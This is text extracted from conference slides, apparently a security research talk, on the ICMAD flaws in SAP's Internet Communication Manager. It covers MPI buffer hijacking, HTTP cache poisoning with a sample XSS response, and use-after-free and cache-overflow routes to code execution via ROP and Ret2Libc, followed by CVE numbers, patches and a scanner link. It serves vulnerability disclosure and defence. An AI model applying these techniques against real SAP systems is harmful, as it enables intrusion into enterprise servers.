 HTTP/1.1 200 OK

                            Response Parser

                            Cache Handler
                                                                                                MPI Buffer
ICM Arbitrary Cache Poisoning
                                                                             HTTP 200 OK\r\n
                                                                             Sap-Cache-Control: Max-Age=100\r\n
     ICM WT 1                                                                Content-Length: 25\r\n
   I/O Handler                                                               \r\n
                               ICM WT 1                                      <script>alert(1)</script>[x00]
TTP 200 OK                                                                  WT 1 OFFSET: 88            WT 2 OFFSET: 53
Sap-Cache-Control: …
Content-Length: 25
                                                 Shared Memory
<script>alert(1)</script>

                               Free MPI Buffer    GET /AMPI
                                                   Free
                                                     MPI HTTP/1.1
                                                          Buffer
                                                            Buffer   HTTP/1.1
                                                                      Free
                                                                        MPIMPI200
                                                                            BufferOK
                                                                               Buffer         ICM Web Cache

                                                                                               /A            Resp
   ICM WT 2
 I/O Handler
                               ICM WT 2
 HTTP/1.1 200 OK




                            Cache Handler
ICM Arbitrary Cache Poisoning

   ●   Steps:
       a.   Attacker_1 hijack MPI Buffer
       b.   Attacker_2 place target request in hijacked buffer
       c.   Java generates response for Attacker_2
       d.   Attacker_1 tampers response
       e.   ICM stores response in internal cache

   ●   Multiple HTTP connections to hijack more MPI Buffers

   ● A successful attack persists malicious response
     DEMO:
MPI Use After Free
RCE - OOB Use After Free
   ●   Out Of Bound (OOB) MPI Buffers transfer information about the request

   ●   Request and Response MPI Buffer pointers are communicated through OOB

   ●   Read memory by modifying Response MPI pointers
       ○   Generate response
       ○   Tamper OOB Buffer
       ○   Replace response Buffer with target address
       ○   Read up to 65KB of arbitrary ICM memory

   ●   Tamper function pointers on OOB Buffers
       ○   Guess memory layout by reading ICM memory
       ○   Find ROP gadget to write near stack
       ○   Load registers and Ret2Libc (system)
RCE - Cache Tampering
  ●   Hijacking OOB Buffers is not reliable (operates too fast)

  ●   Tampering OOB Buffers crashes the ICM (MPIfreeBuffer fails)

  ●   Other option? Tamper internal Cache

  ●   Internal Cache stores Responses with a ﬁle header (Length, Encoding, body offset, …)
                                                                                              MPI Buffer
ICM Cache Buffer Overﬂow
                                                                            HTTP/1.1 200 OK\r\n
                                   READ                                     Content-Length: 14\r\n
     ICM WT 1                                                               Sap-Cache-Control: Max-Age=100\r\n
   I/O Handler                                                              \r\n
                               ICM WT 1
                                                                            Response for A[x00]
TTP 200 OK
Sap-Cache-Control: …                                                        WT 1 OFFSET: 1                   WT 2 OFFSET: 85
Content-Length: 25
                                                 Shared Memory
<script>alert(1)</script>                                                                         Java Process
                               Free MPI Buffer    GET /AMPI
                                                   Free
                                                     MPI HTTP/1.1
                                                          Buffer
                                                            Buffer   HTTP/1.1
                                                                      Free
                                                                        MPIMPI200
                                                                            BufferOK
                                                                               Buffer


                                                                                          Cache File
   ICM WT 2
 I/O Handler                                                                     Length: 85   GZ: 0    Body: 71
                               ICM WT 2
 HTTP/1.1 200 OK

                            Response Parser

                            Cache Handler
                                                                                                  MPI Buffer
ICM Cache Buffer Overﬂow
                                                                        HTTP 200 OK\r\n
                                                                        Sap-Cache-Control: Max-Age=100\r\n
    ICM WT 1                                                            Content-Length: 29\r\n
  I/O Handler                                                           \r\n
                          ICM WT 1                                      AAAAAAAAAAAAAAAAAAAAAAAAAAAAA[x00]
TTP 200 OK                                                             WT 1 OFFSET: 96                     WT 2 OFFSET: 85
Sap-Cache-Control: …
Content-Length: 29
                                            Shared Memory
AAAAAAAAAAAAAA…                                                                                Java Process
                          Free MPI Buffer    GET /AMPI
                                              Free
                                                MPI HTTP/1.1
                                                     Buffer
                                                       Buffer   HTTP/1.1
                                                                 Free
                                                                   MPIMPI200
                                                                       BufferOK
                                                                          Buffer


                                                                                       Cache File
   ICM WT 2
 I/O Handler                                                                Length: 85    GZ: 0     Body: 71
                          ICM WT 2
                                                                            HTTP 200 OK\r\n
                                                                            Sap-Cache-Control: Max-Age=100\r\n
                                                                            Content-Length: 29\r\n
                                                                            \r\n
                                                                            AAAAAAAAAAAAAAAAAAAAAAAAA[x00]
                       Cache Handler
ICM Cache Buffer Overﬂow

   ICM WT
 I/O Handler
                        ICM WT                ICM Web Cache
 GET /A HTTP/1.1
 …
                   Req Cache Handler             /A                Corrupt




                                 HE                        Cache File
                                   A
                                 Ov P B
                                   er uff     Length: 85       GZ: 0     Body: 71
                                     flo er
                                        w
                                              HTTP 200 OK
                                              Sap-Cache-Control: Max-Age=100
                                              Content-Length: 25

                                              <script>alert(1)</script>[x00]
Solutions

 ●   CVE-2022-22536: CVSS 10 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

 ●   CVE-2022-22532: CVSS 8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)

 ●   SAP Netweaver (Java and ABAP), S/4Hana, WebDispatcher… any SAP Installation

 ●   SAP Security Notes: 3123396 & 3123427

 ●   Manual Workaround implemented at Netweaver and WebDispatcher

 ●   Detection Tool https://github.com/Onapsis/onapsis_icmad_scanner
Conclusions
   ●   HTTP Servers as a target
        ○   Reverse Engineer with RFC in mind
        ○   Similar functions and workﬂow
        ○   Identify Requests and Responses in memory

   ●   Escalate low level vulnerabilities with HTTP exploitation
        ○   Complex architectures with multiple internal Parsers
        ○   Not based on “invalid” HTTP headers
        ○   DNS Rebinding to bypass VPNs (botnet)

   ●   ICMAD addressed by CISA:
        ○   Critical impact
        ○   All SAP installations affected
        ○   Accessible through most exposed service (HTTP/S)
Questions?
